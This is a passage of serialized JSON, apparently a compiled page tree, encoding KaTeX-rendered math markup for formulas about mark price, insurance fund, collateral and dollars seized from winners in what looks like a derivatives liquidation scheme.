"type":24,"tag":158,"props":162900,"children":162902},{"style":162901},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[162903,162907],{"type":24,"tag":158,"props":162904,"children":162906},{"className":162905,"style":5711},[5710],[],{"type":24,"tag":158,"props":162908,"children":162910},{"className":162909},[5716,5717,5718,5719],[162911],{"type":24,"tag":158,"props":162912,"children":162914},{"className":162913,"style":22833},[5669,22832,5719],[162915],{"type":29,"value":7637},{"type":24,"tag":158,"props":162917,"children":162919},{"className":162918},[22989],[162920],{"type":29,"value":22992},{"type":24,"tag":158,"props":162922,"children":162924},{"className":162923},[5696],[162925],{"type":24,"tag":158,"props":162926,"children":162928},{"className":162927,"style":94408},[5701],[162929],{"type":24,"tag":158,"props":162930,"children":162931},{},[],{"type":24,"tag":158,"props":162933,"children":162935},{"style":162934},"top:7.3078em;",[162936,162940],{"type":24,"tag":158,"props":162937,"children":162939},{"className":162938,"style":162225},[5710],[],{"type":24,"tag":158,"props":162941,"children":162943},{"className":162942},[5669],[162944],{"type":24,"tag":158,"props":162945,"children":162947},{"className":162946},[5669],[162948,162953],{"type":24,"tag":158,"props":162949,"children":162951},{"className":162950,"style":124102},[5669,22832],[162952],{"type":29,"value":124105},{"type":24,"tag":158,"props":162954,"children":162956},{"className":162955},[5686],[162957],{"type":24,"tag":158,"props":162958,"children":162960},{"className":162959},[5691,22886],[162961,162992],{"type":24,"tag":158,"props":162962,"children":162964},{"className":162963},[5696],[162965,162987],{"type":24,"tag":158,"props":162966,"children":162969},{"className":162967,"style":162968},[5701],"height:0.2806em;",[162970],{"type":24,"tag":158,"props":162971,"children":162973},{"style":162972},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[162974,162978],{"type":24,"tag":158,"props":162975,"children":162977},{"className":162976,"style":5711},[5710],[],{"type":24,"tag":158,"props":162979,"children":162981},{"className":162980},[5716,5717,5718,5719],[162982],{"type":24,"tag":158,"props":162983,"children":162985},{"className":162984},[5669,22832,5719],[162986],{"type":29,"value":22974},{"type":24,"tag":158,"props":162988,"children":162990},{"className":162989},[22989],[162991],{"type":29,"value":22992},{"type":24,"tag":158,"props":162993,"children":162995},{"className":162994},[5696],[162996],{"type":24,"tag":158,"props":162997,"children":162999},{"className":162998,"style":94408},[5701],[163000],{"type":24,"tag":158,"props":163001,"children":163002},{},[],{"type":24,"tag":158,"props":163004,"children":163006},{"className":163005},[22989],[163007],{"type":29,"value":22992},{"type":24,"tag":158,"props":163009,"children":163011},{"className":163010},[5696],[163012],{"type":24,"tag":158,"props":163013,"children":163016},{"className":163014,"style":163015},[5701],"height:11.3392em;",[163017],{"type":24,"tag":158,"props":163018,"children":163019},{},[],{"type":24,"tag":158,"props":163021,"children":163023},{"className":163022},[161139],[163024],{"type":24,"tag":158,"props":163025,"children":163027},{"className":163026},[5691,22886],[163028,164730],{"type":24,"tag":158,"props":163029,"children":163031},{"className":163030},[5696],[163032,164725],{"type":24,"tag":158,"props":163033,"children":163035},{"className":163034,"style":162216},[5701],[163036,163074,163112,163259,163494,163649,163754,163797,164018,164177,164367,164519],{"type":24,"tag":158,"props":163037,"children":163038},{"style":162220},[163039,163043],{"type":24,"tag":158,"props":163040,"children":163042},{"className":163041,"style":162225},[5710],[],{"type":24,"tag":158,"props":163044,"children":163046},{"className":163045},[5669],[163047,163051,163055,163060,163064],{"type":24,"tag":158,"props":163048,"children":163050},{"className":163049},[5669],[],{"type":24,"tag":158,"props":163052,"children":163054},{"className":163053,"style":5848},[5750],[],{"type":24,"tag":158,"props":163056,"children":163058},{"className":163057},[5853],[163059],{"type":29,"value":22851},{"type":24,"tag":158,"props":163061,"children":163063},{"className":163062,"style":5848},[5750],[],{"type":24,"tag":158,"props":163065,"children":163067},{"className":163066},[5669,29],[163068],{"type":24,"tag":158,"props":163069,"children":163071},{"className":163070},[5669],[163072],{"type":29,"value":163073},"mark price",{"type":24,"tag":158,"props":163075,"children":163076},{"style":162291},[163077,163081],{"type":24,"tag":158,"props":163078,"children":163080},{"className":163079,"style":162225},[5710],[],{"type":24,"tag":158,"props":163082,"children":163084},{"className":163083},[5669],[163085,163089,163093,163098,163102],{"type":24,"tag":158,"props":163086,"children":163088},{"className":163087},[5669],[],{"type":24,"tag":158,"props":163090,"children":163092},{"className":163091,"style":5848},[5750],[],{"type":24,"tag":158,"props":163094,"children":163096},{"className":163095},[5853],[163097],{"type":29,"value":22851},{"type":24,"tag":158,"props":163099,"children":163101},{"className":163100,"style":5848},[5750],[],{"type":24,"tag":158,"props":163103,"children":163105},{"className":163104},[5669,29],[163106],{"type":24,"tag":158,"props":163107,"children":163109},{"className":163108},[5669],[163110],{"type":29,"value":163111},"insurance fund",{"type":24,"tag":158,"props":163113,"children":163114},{"style":162308},[163115,163119],{"type":24,"tag":158,"props":163116,"children":163118},{"className":163117,"style":162225},[5710],[],{"type":24,"tag":158,"props":163120,"children":163122},{"className":163121},[5669],[163123,163127,163131,163136,163140,163150,163154,163159,163163],{"type":24,"tag":158,"props":163124,"children":163126},{"className":163125},[5669],[],{"type":24,"tag":158,"props":163128,"children":163130},{"className":163129,"style":5848},[5750],[],{"type":24,"tag":158,"props":163132,"children":163134},{"className":163133},[5853],[163135],{"type":29,"value":22851},{"type":24,"tag":158,"props":163137,"children":163139},{"className":163138,"style":5848},[5750],[],{"type":24,"tag":158,"props":163141,"children":163143},{"className":163142},[5669,29],[163144],{"type":24,"tag":158,"props":163145,"children":163147},{"className":163146},[5669],[163148],{"type":29,"value":163149},"collateral",{"type":24,"tag":158,"props":163151,"children":163153},{"className":163152,"style":5848},[5750],[],{"type":24,"tag":158,"props":163155,"children":163157},{"className":163156},[5853],[163158],{"type":29,"value":1285},{"type":24,"tag":158,"props":163160,"children":163162},{"className":163161,"style":5848},[5750],[],{"type":24,"tag":158,"props":163164,"children":163166},{"className":163165},[5669],[163167,163171,163255],{"type":24,"tag":158,"props":163168,"children":163170},{"className":163169},[22961,114843],[],{"type":24,"tag":158,"props":163172,"children":163174},{"className":163173},[114848],[163175],{"type":24,"tag":158,"props":163176,"children":163178},{"className":163177},[5691,22886],[163179,163244],{"type":24,"tag":158,"props":163180,"children":163182},{"className":163181},[5696],[163183,163239],{"type":24,"tag":158,"props":163184,"children":163187},{"className":163185,"style":163186},[5701],"height:1.3714em;",[163188,163208,163219],{"type":24,"tag":158,"props":163189,"children":163190},{"style":160434},[163191,163195],{"type":24,"tag":158,"props":163192,"children":163194},{"className":163193,"style":113496},[5710],[],{"type":24,"tag":158,"props":163196,"children":163198},{"className":163197},[5669],[163199],{"type":24,"tag":158,"props":163200,"children":163202},{"className":163201},[5669,29],[163203],{"type":24,"tag":158,"props":163204,"children":163206},{"className":163205},[5669],[163207],{"type":29,"value":160471},{"type":24,"tag":158,"props":163209,"children":163210},{"style":114898},[163211,163215],{"type":24,"tag":158,"props":163212,"children":163214},{"className":163213,"style":113496},[5710],[],{"type":24,"tag":158,"props":163216,"children":163218},{"className":163217,"style":114908},[114907],[],{"type":24,"tag":158,"props":163220,"children":163221},{"style":160485},[163222,163226],{"type":24,"tag":158,"props":163223,"children":163225},{"className":163224,"style":113496},[5710],[],{"type":24,"tag":158,"props":163227,"children":163229},{"className":163228},[5669],[163230],{"type":24,"tag":158,"props":163231,"children":163233},{"className":163232},[5669,29],[163234],{"type":24,"tag":158,"props":163235,"children":163237},{"className":163236},[5669],[163238],{"type":29,"value":160510},{"type":24,"tag":158,"props":163240,"children":163242},{"className":163241},[22989],[163243],{"type":29,"value":22992},{"type":24,"tag":158,"props":163245,"children":163247},{"className":163246},[5696],[163248],{"type":24,"tag":158,"props":163249,"children":163251},{"className":163250,"style":160528},[5701],[163252],{"type":24,"tag":158,"props":163253,"children":163254},{},[],{"type":24,"tag":158,"props":163256,"children":163258},{"className":163257},[22983,114843],[],{"type":24,"tag":158,"props":163260,"children":163261},{"style":162377},[163262,163266],{"type":24,"tag":158,"props":163263,"children":163265},{"className":163264,"style":162225},[5710],[],{"type":24,"tag":158,"props":163267,"children":163269},{"className":163268},[5669],[163270,163274,163278,163283,163287,163344,163348,163353,163357,163362,163419,163423,163428,163432,163489],{"type":24,"tag":158,"props":163271,"children":163273},{"className":163272},[5669],[],{"type":24,"tag":158,"props":163275,"children":163277},{"className":163276,"style":5848},[5750],[],{"type":24,"tag":158,"props":163279,"children":163281},{"className":163280},[5853],[163282],{"type":29,"value":1285},{"type":24,"tag":158,"props":163284,"children":163286},{"className":163285,"style":5848},[5750],[],{"type":24,"tag":158,"props":163288,"children":163290},{"className":163289},[5669],[163291,163296],{"type":24,"tag":158,"props":163292,"children":163294},{"className":163293},[5669,22832],[163295],{"type":29,"value":1472},{"type":24,"tag":158,"props":163297,"children":163299},{"className":163298},[5686],[163300],{"type":24,"tag":158,"props":163301,"children":163303},{"className":163302},[5691,22886],[163304,163333],{"type":24,"tag":158,"props":163305,"children":163307},{"className":163306},[5696],[163308,163328],{"type":24,"tag":158,"props":163309,"children":163311},{"className":163310,"style":94854},[5701],[163312],{"type":24,"tag":158,"props":163313,"children":163314},{"style":94381},[163315,163319],{"type":24,"tag":158,"props":163316,"children":163318},{"className":163317,"style":5711},[5710],[],{"type":24,"tag":158,"props":163320,"children":163322},{"className":163321},[5716,5717,5718,5719],[163323],{"type":24,"tag":158,"props":163324,"children":163326},{"className":163325},[5669,22832,5719],[163327],{"type":29,"value":1832},{"type":24,"tag":158,"props":163329,"children":163331},{"className":163330},[22989],[163332],{"type":29,"value":22992},{"type":24,"tag":158,"props":163334,"children":163336},{"className":163335},[5696],[163337],{"type":24,"tag":158,"props":163338,"children":163340},{"className":163339,"style":94408},[5701],[163341],{"type":24,"tag":158,"props":163342,"children":163343},{},[],{"type":24,"tag":158,"props":163345,"children":163347},{"className":163346,"style":5751},[5750],[],{"type":24,"tag":158,"props":163349,"children":163351},{"className":163350},[5756],[163352],{"type":29,"value":112587},{"type":24,"tag":158,"props":163354,"children":163356},{"className":163355,"style":5751},[5750],[],{"type":24,"tag":158,"props":163358,"children":163360},{"className":163359},[22961],[163361],{"type":29,"value":504},{"type":24,"tag":158,"props":163363,"children":163365},{"className":163364},[5669],[163366,163371],{"type":24,"tag":158,"props":163367,"children":163369},{"className":163368,"style":22833},[5669,22832],[163370],{"type":29,"value":22836},{"type":24,"tag":158,"props":163372,"children":163374},{"className":163373},[5686],[163375],{"type":24,"tag":158,"props":163376,"children":163378},{"className":163377},[5691,22886],[163379,163408],{"type":24,"tag":158,"props":163380,"children":163382},{"className":163381},[5696],[163383,163403],{"type":24,"tag":158,"props":163384,"children":163386},{"className":163385,"style":110757},[5701],[163387],{"type":24,"tag":158,"props":163388,"children":163389},{"style":162258},[163390,163394],{"type":24,"tag":158,"props":163391,"children":163393},{"className":163392,"style":5711},[5710],[],{"type":24,"tag":158,"props":163395,"children":163397},{"className":163396},[5716,5717,5718,5719],[163398],{"type":24,"tag":158,"props":163399,"children":163401},{"className":163400},[5669,22832,5719],[163402],{"type":29,"value":57676},{"type":24,"tag":158,"props":163404,"children":163406},{"className":163405},[22989],[163407],{"type":29,"value":22992},{"type":24,"tag":158,"props":163409,"children":163411},{"className":163410},[5696],[163412],{"type":24,"tag":158,"props":163413,"children":163415},{"className":163414,"style":94408},[5701],[163416],{"type":24,"tag":158,"props":163417,"children":163418},{},[],{"type":24,"tag":158,"props":163420,"children":163422},{"className":163421,"style":5751},[5750],[],{"type":24,"tag":158,"props":163424,"children":163426},{"className":163425},[5756],[163427],{"type":29,"value":5730},{"type":24,"tag":158,"props":163429,"children":163431},{"className":163430,"style":5751},[5750],[],{"type":24,"tag":158,"props":163433,"children":163435},{"className":163434},[5669],[163436,163441],{"type":24,"tag":158,"props":163437,"children":163439},{"className":163438},[5669,22832],[163440],{"type":29,"value":25},{"type":24,"tag":158,"props":163442,"children":163444},{"className":163443},[5686],[163445],{"type":24,"tag":158,"props":163446,"children":163448},{"className":163447},[5691,22886],[163449,163478],{"type":24,"tag":158,"props":163450,"children":163452},{"className":163451},[5696],[163453,163473],{"type":24,"tag":158,"props":163454,"children":163456},{"className":163455,"style":94854},[5701],[163457],{"type":24,"tag":158,"props":163458,"children":163459},{"style":94381},[163460,163464],{"type":24,"tag":158,"props":163461,"children":163463},{"className":163462,"style":5711},[5710],[],{"type":24,"tag":158,"props":163465,"children":163467},{"className":163466},[5716,5717,5718,5719],[163468],{"type":24,"tag":158,"props":163469,"children":163471},{"className":163470},[5669,22832,5719],[163472],{"type":29,"value":1832},{"type":24,"tag":158,"props":163474,"children":163476},{"className":163475},[22989],[163477],{"type":29,"value":22992},{"type":24,"tag":158,"props":163479,"children":163481},{"className":163480},[5696],[163482],{"type":24,"tag":158,"props":163483,"children":163485},{"className":163484,"style":94408},[5701],[163486],{"type":24,"tag":158,"props":163487,"children":163488},{},[],{"type":24,"tag":158,"props":163490,"children":163492},{"className":163491},[22983],[163493],{"type":29,"value":521},{"type":24,"tag":158,"props":163495,"children":163496},{"style":162447},[163497,163501],{"type":24,"tag":158,"props":163498,"children":163500},{"className":163499,"style":162225},[5710],[],{"type":24,"tag":158,"props":163502,"children":163504},{"className":163503},[5669],[163505,163509,163513,163518,163522,163579,163583,163588,163592],{"type":24,"tag":158,"props":163506,"children":163508},{"className":163507},[5669],[],{"type":24,"tag":158,"props":163510,"children":163512},{"className":163511,"style":5848},[5750],[],{"type":24,"tag":158,"props":163514,"children":163516},{"className":163515},[5853],[163517],{"type":29,"value":1285},{"type":24,"tag":158,"props":163519,"children":163521},{"className":163520,"style":5848},[5750],[],{"type":24,"tag":158,"props":163523,"children":163525},{"className":163524},[5669],[163526,163531],{"type":24,"tag":158,"props":163527,"children":163529},{"className":163528},[5669,22832],[163530],{"type":29,"value":2907},{"type":24,"tag":158,"props":163532,"children":163534},{"className":163533},[5686],[163535],{"type":24,"tag":158,"props":163536,"children":163538},{"className":163537},[5691,22886],[163539,163568],{"type":24,"tag":158,"props":163540,"children":163542},{"className":163541},[5696],[163543,163563],{"type":24,"tag":158,"props":163544,"children":163546},{"className":163545,"style":94854},[5701],[163547],{"type":24,"tag":158,"props":163548,"children":163549},{"style":94381},[163550,163554],{"type":24,"tag":158,"props":163551,"children":163553},{"className":163552,"style":5711},[5710],[],{"type":24,"tag":158,"props":163555,"children":163557},{"className":163556},[5716,5717,5718,5719],[163558],{"type":24,"tag":158,"props":163559,"children":163561},{"className":163560},[5669,22832,5719],[163562],{"type":29,"value":1832},{"type":24,"tag":158,"props":163564,"children":163566},{"className":163565},[22989],[163567],{"type":29,"value":22992},{"type":24,"tag":158,"props":163569,"children":163571},{"className":163570},[5696],[163572],{"type":24,"tag":158,"props":163573,"children":163575},{"className":163574,"style":94408},[5701],[163576],{"type":24,"tag":158,"props":163577,"children":163578},{},[],{"type":24,"tag":158,"props":163580,"children":163582},{"className":163581,"style":5751},[5750],[],{"type":24,"tag":158,"props":163584,"children":163586},{"className":163585},[5756],[163587],{"type":29,"value":728},{"type":24,"tag":158,"props":163589,"children":163591},{"className":163590,"style":5751},[5750],[],{"type":24,"tag":158,"props":163593,"children":163595},{"className":163594},[5669],[163596,163601],{"type":24,"tag":158,"props":163597,"children":163599},{"className":163598,"style":94811},[5669,22832],[163600],{"type":29,"value":162396},{"type":24,"tag":158,"props":163602,"children":163604},{"className":163603},[5686],[163605],{"type":24,"tag":158,"props":163606,"children":163608},{"className":163607},[5691,22886],[163609,163638],{"type":24,"tag":158,"props":163610,"children":163612},{"className":163611},[5696],[163613,163633],{"type":24,"tag":158,"props":163614,"children":163616},{"className":163615,"style":94854},[5701],[163617],{"type":24,"tag":158,"props":163618,"children":163619},{"style":94858},[163620,163624],{"type":24,"tag":158,"props":163621,"children":163623},{"className":163622,"style":5711},[5710],[],{"type":24,"tag":158,"props":163625,"children":163627},{"className":163626},[5716,5717,5718,5719],[163628],{"type":24,"tag":158,"props":163629,"children":163631},{"className":163630},[5669,22832,5719],[163632],{"type":29,"value":1832},{"type":24,"tag":158,"props":163634,"children":163636},{"className":163635},[22989],[163637],{"type":29,"value":22992},{"type":24,"tag":158,"props":163639,"children":163641},{"className":163640},[5696],[163642],{"type":24,"tag":158,"props":163643,"children":163645},{"className":163644,"style":94408},[5701],[163646],{"type":24,"tag":158,"props":163647,"children":163648},{},[],{"type":24,"tag":158,"props":163650,"children":163651},{"style":162516},[163652,163656],{"type":24,"tag":158,"props":163653,"children":163655},{"className":163654,"style":162225},[5710],[],{"type":24,"tag":158,"props":163657,"children":163659},{"className":163658},[5669],[163660,163664,163668,163673,163677],{"type":24,"tag":158,"props":163661,"children":163663},{"className":163662},[5669],[],{"type":24,"tag":158,"props":163665,"children":163667},{"className":163666,"style":5848},[5750],[],{"type":24,"tag":158,"props":163669,"children":163671},{"className":163670},[5853],[163672],{"type":29,"value":1285},{"type":24,"tag":158,"props":163674,"children":163676},{"className":163675,"style":5848},[5750],[],{"type":24,"tag":158,"props":163678,"children":163680},{"className":163679},[5669],[163681,163686],{"type":24,"tag":158,"props":163682,"children":163684},{"className":163683,"style":94811},[5669,22832],[163685],{"type":29,"value":162396},{"type":24,"tag":158,"props":163687,"children":163689},{"className":163688},[5686],[163690],{"type":24,"tag":158,"props":163691,"children":163693},{"className":163692},[5691,22886],[163694,163742],{"type":24,"tag":158,"props":163695,"children":163697},{"className":163696},[5696],[163698,163737],{"type":24,"tag":158,"props":163699,"children":163702},{"className":163700,"style":163701},[5701],"height:0.8213em;",[163703,163720],{"type":24,"tag":158,"props":163704,"children":163706},{"style":163705},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[163707,163711],{"type":24,"tag":158,"props":163708,"children":163710},{"className":163709,"style":5711},[5710],[],{"type":24,"tag":158,"props":163712,"children":163714},{"className":163713},[5716,5717,5718,5719],[163715],{"type":24,"tag":158,"props":163716,"children":163718},{"className":163717},[5669,22832,5719],[163719],{"type":29,"value":1832},{"type":24,"tag":158,"props":163721,"children":163723},{"style":163722},"top:-3.113em;margin-right:0.05em;",[163724,163728],{"type":24,"tag":158,"props":163725,"children":163727},{"className":163726,"style":5711},[5710],[],{"type":24,"tag":158,"props":163729,"children":163731},{"className":163730},[5716,5717,5718,5719],[163732],{"type":24,"tag":158,"props":163733,"children":163735},{"className":163734},[5756,5719],[163736],{"type":29,"value":728},{"type":24,"tag":158,"props":163738,"children":163740},{"className":163739},[22989],[163741],{"type":29,"value":22992},{"type":24,"tag":158,"props":163743,"children":163745},{"className":163744},[5696],[163746],{"type":24,"tag":158,"props":163747,"children":163750},{"className":163748,"style":163749},[5701],"height:0.267em;",[163751],{"type":24,"tag":158,"props":163752,"children":163753},{},[],{"type":24,"tag":158,"props":163755,"children":163756},{"style":162586},[163757,163761],{"type":24,"tag":158,"props":163758,"children":163760},{"className":163759,"style":162225},[5710],[],{"type":24,"tag":158,"props":163762,"children":163764},{"className":163763},[5669],[163765,163769,163773,163778,163782,163792],{"type":24,"tag":158,"props":163766,"children":163768},{"className":163767},[5669],[],{"type":24,"tag":158,"props":163770,"children":163772},{"className":163771,"style":5848},[5750],[],{"type":24,"tag":158,"props":163774,"children":163776},{"className":163775},[5853],[163777],{"type":29,"value":22851},{"type":24,"tag":158,"props":163779,"children":163781},{"className":163780,"style":5848},[5750],[],{"type":24,"tag":158,"props":163783,"children":163785},{"className":163784},[5669,29],[163786],{"type":24,"tag":158,"props":163787,"children":163789},{"className":163788},[5669],[163790],{"type":29,"value":163791},"dollars seized from winner ",{"type":24,"tag":158,"props":163793,"children":163795},{"className":163794},[5669,22832],[163796],{"type":29,"value":1832},{"type":24,"tag":158,"props":163798,"children":163799},{"style":162655},[163800,163804],{"type":24,"tag":158,"props":163801,"children":163803},{"className":163802,"style":162225},[5710],[],{"type":24,"tag":158,"props":163805,"children":163807},{"className":163806},[5669],[163808,163812,163816,163821,163825],{"type":24,"tag":158,"props":163809,"children":163811},{"className":163810},[5669],[],{"type":24,"tag":158,"props":163813,"children":163815},{"className":163814,"style":5848},[5750],[],{"type":24,"tag":158,"props":163817,"children":163819},{"className":163818},[5853],[163820],{"type":29,"value":1285},{"type":24,"tag":158,"props":163822,"children":163824},{"className":163823,"style":5848},[5750],[],{"type":24,"tag":158,"props":163826,"children":163828},{"className":163827},[5669],[163829,163833,164014],{"type":24,"tag":158,"props":163830,"children":163832},{"className":163831},[22961,114843],[],{"type":24,"tag":158,"props":163834,"children":163836},{"className":163835},[114848],[163837],{"type":24,"tag":158,"props":163838,"children":163840},{"className":163839},[5691,22886],[163841,164002],{"type":24,"tag":158,"props":163842,"children":163844},{"className":163843},[5696],[163845,163997],{"type":24,"tag":158,"props":163846,"children":163849},{"className":163847,"style":163848},[5701],"height:1.1076em;",[163850,163918,163929],{"type":24,"tag":158,"props":163851,"children":163852},{"style":160434},[163853,163857],{"type":24,"tag":158,"props":163854,"children":163856},{"className":163855,"style":113496},[5710],[],{"type":24,"tag":158,"props":163858,"children":163860},{"className":163859},[5669],[163861],{"type":24,"tag":158,"props":163862,"children":163864},{"className":163863},[5669],[163865,163870],{"type":24,"tag":158,"props":163866,"children":163868},{"className":163867,"style":123605},[5669,22832],[163869],{"type":29,"value":50843},{"type":24,"tag":158,"props":163871,"children":163873},{"className":163872},[5686],[163874],{"type":24,"tag":158,"props":163875,"children":163877},{"className":163876},[5691,22886],[163878,163907],{"type":24,"tag":158,"props":163879,"children":163881},{"className":163880},[5696],[163882,163902],{"type":24,"tag":158,"props":163883,"children":163885},{"className":163884,"style":94854},[5701],[163886],{"type":24,"tag":158,"props":163887,"children":163888},{"style":162553},[163889,163893],{"type":24,"tag":158,"props":163890,"children":163892},{"className":163891,"style":5711},[5710],[],{"type":24,"tag":158,"props":163894,"children":163896},{"className":163895},[5716,5717,5718,5719],[163897],{"type":24,"tag":158,"props":163898,"children":163900},{"className":163899},[5669,22832,5719],[163901],{"type":29,"value":1832},{"type":24,"tag":158,"props":163903,"children":163905},{"className":163904},[22989],[163906],{"type":29,"value":22992},{"type":24,"tag":158,"props":163908,"children":163910},{"className":163909},[5696],[163911],{"type":24,"tag":158,"props":163912,"children":163914},{"className":163913,"style":94408},[5701],[163915],{"type":24,"tag":158,"props":163916,"children":163917},{},[],{"type":24,"tag":158,"props":163919,"children":163920},{"style":114898},[163921,163925],{"type":24,"tag":158,"props":163922,"children":163924},{"className":163923,"style":113496},[5710],[],{"type":24,"tag":158,"props":163926,"children":163928},{"className":163927,"style":114908},[114907],[],{"type":24,"tag":158,"props":163930,"children":163931},{"style":160485},[163932,163936],{"type":24,"tag":158,"props":163933,"children":163935},{"className":163934,"style":113496},[5710],[],{"type":24,"tag":158,"props":163937,"children":163939},{"className":163938},[5669],[163940],{"type":24,"tag":158,"props":163941,"children":163943},{"className":163942},[5669],[163944,163949],{"type":24,"tag":158,"props":163945,"children":163947},{"className":163946},[5669,22832],[163948],{"type":29,"value":20518},{"type":24,"tag":158,"props":163950,"children":163952},{"className":163951},[5686],[163953],{"type":24,"tag":158,"props":163954,"children":163956},{"className":163955},[5691,22886],[163957,163986],{"type":24,"tag":158,"props":163958,"children":163960},{"className":163959},[5696],[163961,163981],{"type":24,"tag":158,"props":163962,"children":163964},{"className":163963,"style":94854},[5701],[163965],{"type":24,"tag":158,"props":163966,"children":163967},{"style":94381},[163968,163972],{"type":24,"tag":158,"props":163969,"children":163971},{"className":163970,"style":5711},[5710],[],{"type":24,"tag":158,"props":163973,"children":163975},{"className":163974},[5716,5717,5718,5719],[163976],{"type":24,"tag":158,"props":163977,"children":163979},{"className":163978},[5669,22832,5719],[163980],{"type":29,"value":1832},{"type":24,"tag":158,"props":163982,"children":163984},{"className":163983},[22989],[163985],{"type":29,"value":22992},{"type":24,"tag":158,"props":163987,"children":163989},{"className":163988},[5696],[163990],{"type":24,"tag":158,"props":163991,"children":163993},{"className":163992,"style":94408},[5701],[163994],{"type":24,"tag":158,"props":163995,"children":163996},{},[],{"type":24,"tag":158,"props":163998,"children":164000},{"className":163999},[22989],[164001],{"type":29,"value":22992},{"type":24,"tag":158,"props":164003,"children":164005},{"className":164004},[5696],[164006],{"type":24,"tag":158,"props":164007,"children":164010},{"className":164008,"style":164009},[5701],"height:0.836em;",[164011],{"type":24,"tag":158,"props":164012,"children":164013},{},[],{"type":24,"tag":158,"props":164015,"children":164017},{"className":164016},[22983,114843],[],{"type":24,"tag":158,"props":164019,"children":164020},{"style":162724},[164021,164025],{"type":24,"tag":158,"props":164022,"children":164024},{"className":164023,"style":162225},[5710],[],{"type":24,"tag":158,"props":164026,"children":164028},{"className":164027},[5669],[164029,164033,164037,164042,164046,164116,164120],{"type":24,"tag":158,"props":164030,"children":164032},{"className":164031},[5669],[],{"type":24,"tag":158,"props":164034,"children":164036},{"className":164035,"style":5848},[5750],[],{"type":24,"tag":158,"props":164038,"children":164040},{"className":164039},[5853],[164041],{"type":29,"value":1285},{"type":24,"tag":158,"props":164043,"children":164045},{"className":164044,"style":5848},[5750],[],{"type":24,"tag":158,"props":164047,"children":164050},{"className":164048},[22868,164049],"op-limits",[164051],{"type":24,"tag":158,"props":164052,"children":164054},{"className":164053},[5691,22886],[164055,164104],{"type":24,"tag":158,"props":164056,"children":164058},{"className":164057},[5696],[164059,164099],{"type":24,"tag":158,"props":164060,"children":164063},{"className":164061,"style":164062},[5701],"height:1.05em;",[164064,164082],{"type":24,"tag":158,"props":164065,"children":164067},{"style":164066},"top:-1.8723em;margin-left:0em;",[164068,164073],{"type":24,"tag":158,"props":164069,"children":164072},{"className":164070,"style":164071},[5710],"height:3.05em;",[],{"type":24,"tag":158,"props":164074,"children":164076},{"className":164075},[5716,5717,5718,5719],[164077],{"type":24,"tag":158,"props":164078,"children":164080},{"className":164079},[5669,22832,5719],[164081],{"type":29,"value":1832},{"type":24,"tag":158,"props":164083,"children":164085},{"style":164084},"top:-3.05em;",[164086,164090],{"type":24,"tag":158,"props":164087,"children":164089},{"className":164088,"style":164071},[5710],[],{"type":24,"tag":158,"props":164091,"children":164092},{},[164093],{"type":24,"tag":158,"props":164094,"children":164097},{"className":164095},[22868,22873,164096],"large-op",[164098],{"type":29,"value":110120},{"type":24,"tag":158,"props":164100,"children":164102},{"className":164101},[22989],[164103],{"type":29,"value":22992},{"type":24,"tag":158,"props":164105,"children":164107},{"className":164106},[5696],[164108],{"type":24,"tag":158,"props":164109,"children":164112},{"className":164110,"style":164111},[5701],"height:1.2777em;",[164113],{"type":24,"tag":158,"props":164114,"children":164115},{},[],{"type":24,"tag":158,"props":164117,"children":164119},{"className":164118,"style":5789},[5750],[],{"type":24,"tag":158,"props":164121,"children":164123},{"className":164122},[5669],[164124,164129],{"type":24,"tag":158,"props":164125,"children":164127},{"className":164126},[5669,22832],[164128],{"type":29,"value":20518},{"type":24,"tag":158,"props":164130,"children":164132},{"className":164131},[5686],[164133],{"type":24,"tag":158,"props":164134,"children":164136},{"className":164135},[5691,22886],[164137,164166],{"type":24,"tag":158,"props":164138,"children":164140},{"className":164139},[5696],[164141,164161],{"type":24,"tag":158,"props":164142,"children":164144},{"className":164143,"style":94854},[5701],[164145],{"type":24,"tag":158,"props":164146,"children":164147},{"style":94381},[164148,164152],{"type":24,"tag":158,"props":164149,"children":164151},{"className":164150,"style":5711},[5710],[],{"type":24,"tag":158,"props":164153,"children":164155},{"className":164154},[5716,5717,5718,5719],[164156],{"type":24,"tag":158,"props":164157,"children":164159},{"className":164158},[5669,22832,5719],[164160],{"type":29,"value":1832},{"type":24,"tag":158,"props":164162,"children":164164},{"className":164163},[22989],[164165],{"type":29,"value":22992},{"type":24,"tag":158,"props":164167,"children":164169},{"className":164168},[5696],[164170],{"type":24,"tag":158,"props":164171,"children":164173},{"className":164172,"style":94408},[5701],[164174],{"type":24,"tag":158,"props":164175,"children":164176},{},[],{"type":24,"tag":158,"props":164178,"children":164179},{"style":162793},[164180,164184],{"type":24,"tag":158,"props":164181,"children":164183},{"className":164182,"style":162225},[5710],[],{"type":24,"tag":158,"props":164185,"children":164187},{"className":164186},[5669],[164188,164192,164196,164201,164205,164268,164272,164277,164282,164287,164344,164349,164353,164357,164362],{"type":24,"tag":158,"props":164189,"children":164191},{"className":164190},[5669],[],{"type":24,"tag":158,"props":164193,"children":164195},{"className":164194,"style":5848},[5750],[],{"type":24,"tag":158,"props":164197,"children":164199},{"className":164198},[5853],[164200],{"type":29,"value":1285},{"type":24,"tag":158,"props":164202,"children":164204},{"className":164203,"style":5848},[5750],[],{"type":24,"tag":158,"props":164206,"children":164208},{"className":164207},[22868,164049],[164209],{"type":24,"tag":158,"props":164210,"children":164212},{"className":164211},[5691,22886],[164213,164257],{"type":24,"tag":158,"props":164214,"children":164216},{"className":164215},[5696],[164217,164252],{"type":24,"tag":158,"props":164218,"children":164220},{"className":164219,"style":164062},[5701],[164221,164237],{"type":24,"tag":158,"props":164222,"children":164223},{"style":164066},[164224,164228],{"type":24,"tag":158,"props":164225,"children":164227},{"className":164226,"style":164071},[5710],[],{"type":24,"tag":158,"props":164229,"children":164231},{"className":164230},[5716,5717,5718,5719],[164232],{"type":24,"tag":158,"props":164233,"children":164235},{"className":164234},[5669,22832,5719],[164236],{"type":29,"value":1832},{"type":24,"tag":158,"props":164238,"children":164239},{"style":164084},[164240,164244],{"type":24,"tag":158,"props":164241,"children":164243},{"className":164242,"style":164071},[5710],[],{"type":24,"tag":158,"props":164245,"children":164246},{},[164247],{"type":24,"tag":158,"props":164248,"children":164250},{"className":164249},[22868,22873,164096],[164251],{"type":29,"value":110120},{"type":24,"tag":158,"props":164253,"children":164255},{"className":164254},[22989],[164256],{"type":29,"value":22992},{"type":24,"tag":158,"props":164258,"children":164260},{"className":164259},[5696],[164261],{"type":24,"tag":158,"props":164262,"children":164264},{"className":164263,"style":164111},[5701],[164265],{"type":24,"tag":158,"props":164266,"children":164267},{},[],{